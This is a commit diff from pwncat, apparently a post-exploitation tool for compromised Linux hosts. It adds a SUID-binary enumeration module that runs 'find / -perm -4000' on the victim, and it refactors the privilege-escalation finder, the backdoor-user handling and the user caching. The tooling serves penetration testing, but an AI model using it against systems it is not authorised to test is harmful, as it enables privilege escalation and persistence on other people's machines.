for row in pwncat.victim.host.facts:
|
||||
if row.type == typ:
|
||||
if provider is not None and provider != row.source:
|
||||
continue
|
||||
return True
|
||||
|
||||
return False
|
91
pwncat/enumerate/suid.py
Normal file
91
pwncat/enumerate/suid.py
Normal file
@ -0,0 +1,91 @@
|
||||
#!/usr/bin/env python3
|
||||
import dataclasses
|
||||
import os
|
||||
from typing import Generator
|
||||
|
||||
from colorama import Fore
|
||||
|
||||
import pwncat
|
||||
from pwncat import util
|
||||
|
||||
name = "pwncat.enumerate.suid"
|
||||
provides = "suid"
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class Binary:
|
||||
"""
|
||||
A generic description of a SUID binary
|
||||
"""
|
||||
|
||||
path: str
|
||||
""" The path to the binary """
|
||||
uid: int
|
||||
""" The owner of the binary """
|
||||
|
||||
def __str__(self):
|
||||
return f"{Fore.YELLOW}{self.path}{Fore.RESET} owned by {Fore.GREEN}{self.owner.name}{Fore.RESET}"
|
||||
|
||||
@property
|
||||
def description(self) -> str:
|
||||
return str(self)
|
||||
|
||||
@property
|
||||
def owner(self):
|
||||
return pwncat.victim.find_user_by_id(self.uid)
|
||||
|
||||
|
||||
def enumerate() -> Generator[Binary, None, None]:
|
||||
"""
|
||||
Enumerate all new Set UID binaries. These are turned into facts by pwncat.victim.enumerate
|
||||
which can be generically retrieved with pwncat.victim.enumerate.iter("suid"). This also
|
||||
inserts a dummy-fact named "suid-searched-{uid}" to indicate we have already searched for
|
||||
SUID binaries as a given user.
|
||||
|
||||
:return: Generator[Binary, None, None]
|
||||
"""
|
||||
|
||||
current_user = pwncat.victim.current_user
|
||||
|
||||
# We've already enumerated this user
|
||||
if pwncat.victim.enumerate.exist(
|
||||
f"suid", provider=f"suid-searched-{current_user.id}"
|
||||
):
|
||||
return
|
||||
|
||||
# Add the fact indicating we already searched for SUID binaries
|
||||
pwncat.victim.enumerate.add_fact(f"suid", None, f"suid-searched-{current_user.id}")
|
||||
|
||||
# Spawn a find command to locate the setuid binaries
|
||||
with pwncat.victim.subprocess(
|
||||
"find / -perm -4000 -printf '%U %p\\n' 2>/dev/null", mode="r", no_job=True
|
||||
) as stream:
|
||||
util.progress("searching for setuid binaries")
|
||||
for path in stream:
|
||||
# Parse out owner ID and path
|
||||
path = path.strip().decode("utf-8").split(" ")
|
||||
uid, path = int(path[0]), " ".join(path[1:])
|
||||
|
||||
# Print status message
|
||||
util.progress(
|
||||
(
|
||||
f"searching for setuid binaries as {Fore.GREEN}{current_user.name}{Fore.RESET}: "
|
||||
f"{Fore.CYAN}{os.path.basename(path)}{Fore.RESET}"
|
||||
)
|
||||
)
|
||||
|
||||
# Check if we already know about this SUID binary from a different search
|
||||
# This will only searched the cached database entries and not end up being
|
||||
# recursive.
|
||||
try:
|
||||
next(
|
||||
pwncat.victim.enumerate.iter(
|
||||
"suid", only_cached=True, filter=lambda f: f.data.path == path,
|
||||
)
|
||||
)
|
||||
except StopIteration:
|
||||
pass
|
||||
else:
|
||||
continue
|
||||
|
||||
yield Binary(path, uid)
|
@ -295,7 +295,7 @@ class Finder:
|
||||
pwncat.victim.reset()
|
||||
|
||||
# Check that we actually succeeded
|
||||
current = pwncat.victim.whoami()
|
||||
current = pwncat.victim.update_user()
|
||||
|
||||
if current == technique.user or (
|
||||
technique.user == pwncat.victim.config["backdoor_user"]
|
||||
@ -680,7 +680,7 @@ class Finder:
|
||||
if persist.escalate(target_user):
|
||||
|
||||
# The method thought it worked, but didn't appear to
|
||||
if pwncat.victim.whoami() != target_user:
|
||||
if pwncat.victim.update_user() != target_user:
|
||||
if pwncat.victim.getenv("SHLVL") != shlvl:
|
||||
pwncat.victim.run("exit", wait=False)
|
||||
continue
|
||||
@ -704,25 +704,13 @@ class Finder:
|
||||
except PrivescError:
|
||||
pass
|
||||
|
||||
if (
|
||||
target_user == "root"
|
||||
and pwncat.victim.config["backdoor_user"] in techniques
|
||||
):
|
||||
try:
|
||||
tech, exit_command = self.escalate_single(
|
||||
techniques[pwncat.victim.config["backdoor_user"]], shlvl
|
||||
)
|
||||
chain.append((tech, exit_command))
|
||||
return chain
|
||||
except PrivescError:
|
||||
pass
|
||||
|
||||
# Try to escalate directly to the target if possible
|
||||
if target_user in techniques:
|
||||
try:
|
||||
tech, exit_command = self.escalate_single(
|
||||
techniques[target_user], shlvl
|
||||
)
|
||||
pwncat.victim.update_user()
|
||||
chain.append((tech, exit_command))
|
||||
return chain
|
||||
except PrivescError:
|
||||
@ -737,7 +725,7 @@ class Finder:
|
||||
f"checking local persistence implants: {persist.format(user)}"
|
||||
)
|
||||
if persist.escalate(user):
|
||||
if pwncat.victim.whoami() != user:
|
||||
if pwncat.victim.update_user() != user:
|
||||
if pwncat.victim.getenv("SHLVL") != shlvl:
|
||||
pwncat.victim.run("exit", wait=False)
|
||||
continue
|
||||
|
@ -74,23 +74,18 @@ class SetuidMethod(Method):
|
||||
""" Find all techniques known at this time """
|
||||
|
||||
# Update the cache for the current user
|
||||
self.find_suid()
|
||||
# self.find_suid()
|
||||
|
||||
known_techniques = []
|
||||
for suid in pwncat.victim.host.suid:
|
||||
for suid in pwncat.victim.enumerate.iter("suid"):
|
||||
try:
|
||||
binary = pwncat.victim.gtfo.find_binary(suid.path, caps)
|
||||
binary = pwncat.victim.gtfo.find_binary(suid.data.path, caps)
|
||||
except BinaryNotFound:
|
||||
continue
|
||||
|
||||
for method in binary.iter_methods(suid.path, caps, Stream.ANY):
|
||||
for method in binary.iter_methods(suid.data.path, caps, Stream.ANY):
|
||||
known_techniques.append(
|
||||
Technique(
|
||||
pwncat.victim.find_user_by_id(suid.owner_id).name,
|
||||
self,
|
||||
method,
|
||||
method.cap,
|
||||
)
|
||||
Technique(suid.data.owner.name, self, method, method.cap,)
|
||||
)
|
||||
|
||||
return known_techniques
|
||||
|
@ -25,6 +25,7 @@ from pwncat.gtfobins import GTFOBins, Capability, Stream
|
||||
from pwncat.remote import RemoteService
|
||||
from pwncat.tamper import Tamper, TamperManager
|
||||
from pwncat.util import State
|
||||
import pwncat.enumerate
|
||||
|
||||
|
||||
def remove_busybox_tamper():
|
||||
@ -137,12 +138,17 @@ class Victim:
|
||||
self.privesc: privesc.Finder = None
|
||||
# Persistence manager
|
||||
self.persist: persist.Persistence = persist.Persistence()
|
||||
# The enumeration manager
|
||||
self.enumerate: pwncat.enumerate.Enumerate = pwncat.enumerate.Enumerate()
|
||||
# Database engine
|
||||
self.engine: Engine = None
|
||||
# Database session
|
||||
self.session: Session = None
|
||||
# The host object as seen by the database
|
||||
self.host: pwncat.db.Host = None
|
||||
# The current user. This is cached while at the `pwncat` prompt
|
||||
# and reloaded whenever returning from RAW mode.
|
||||
self.cached_user: str = None
|
||||
|
||||
def reconnect(
|
||||
self, hostid: str, requested_method: str = None, requested_user: str = None
|
||||
@ -622,16 +628,19 @@ class Victim:
|
||||
if binding.strip().startswith("pass"):
|
||||
self.client.send(data)
|
||||
binding = binding.lstrip("pass")
|
||||
else:
|
||||
self.restore_local_term()
|
||||
sys.stdout.write("\n")
|
||||
|
||||
self.restore_local_term()
|
||||
sys.stdout.write("\n")
|
||||
# Update the current user
|
||||
self.update_user()
|
||||
|
||||
# Evaluate the script
|
||||
self.command_parser.eval(binding, "<binding>")
|
||||
# Evaluate the script
|
||||
self.command_parser.eval(binding, "<binding>")
|
||||
|
||||
self.flush_output()
|
||||
self.client.send(b"\n")
|
||||
self.saved_term_state = util.enter_raw_mode()
|
||||
self.flush_output()
|
||||
self.client.send(b"\n")
|
||||
self.saved_term_state = util.enter_raw_mode()
|
||||
|
||||
except KeyError:
|
||||
pass
|
||||
@ -686,6 +695,8 @@ class Victim:
|
||||
self._state = State.COMMAND
|
||||
# Hopefully this fixes weird cursor position issues
|
||||
util.success("local terminal restored")
|
||||
# Reload the current user name
|
||||
self.update_user()
|
||||
# Setting the state to local command mode does not return until
|
||||
# command processing is complete.
|
||||
self.command_parser.run()
|
||||
@ -696,6 +707,8 @@ class Victim:
|
||||
self._state = State.SINGLE
|
||||
# Hopefully this fixes weird cursor position issues
|
||||
sys.stdout.write("\n")
|
||||
# Update the current user
|
||||
self.update_user()
|
||||
# Setting the state to local command mode does not return until
|
||||
# command processing is complete.
|
||||
self.command_parser.run_single()
|
||||
@ -1500,8 +1513,15 @@ class Victim:
|
||||
|
||||
:return: str, the current user name
|
||||
"""
|
||||
result = self.run("whoami")
|
||||
return result.strip().decode("utf-8")
|
||||
return self.cached_user
|
||||
|
||||
def update_user(self):
|
||||
"""
|
||||
Requery the current user
|
||||
:return: the current user
|
||||
"""
|
||||
self.cached_user = self.run("whoami").strip().decode("utf-8")
|
||||
return self.cached_user
|
||||
|
||||
def getenv(self, name: str):
|
||||
"""
|
||||
|
Loading…
Reference in New Issue
Block a user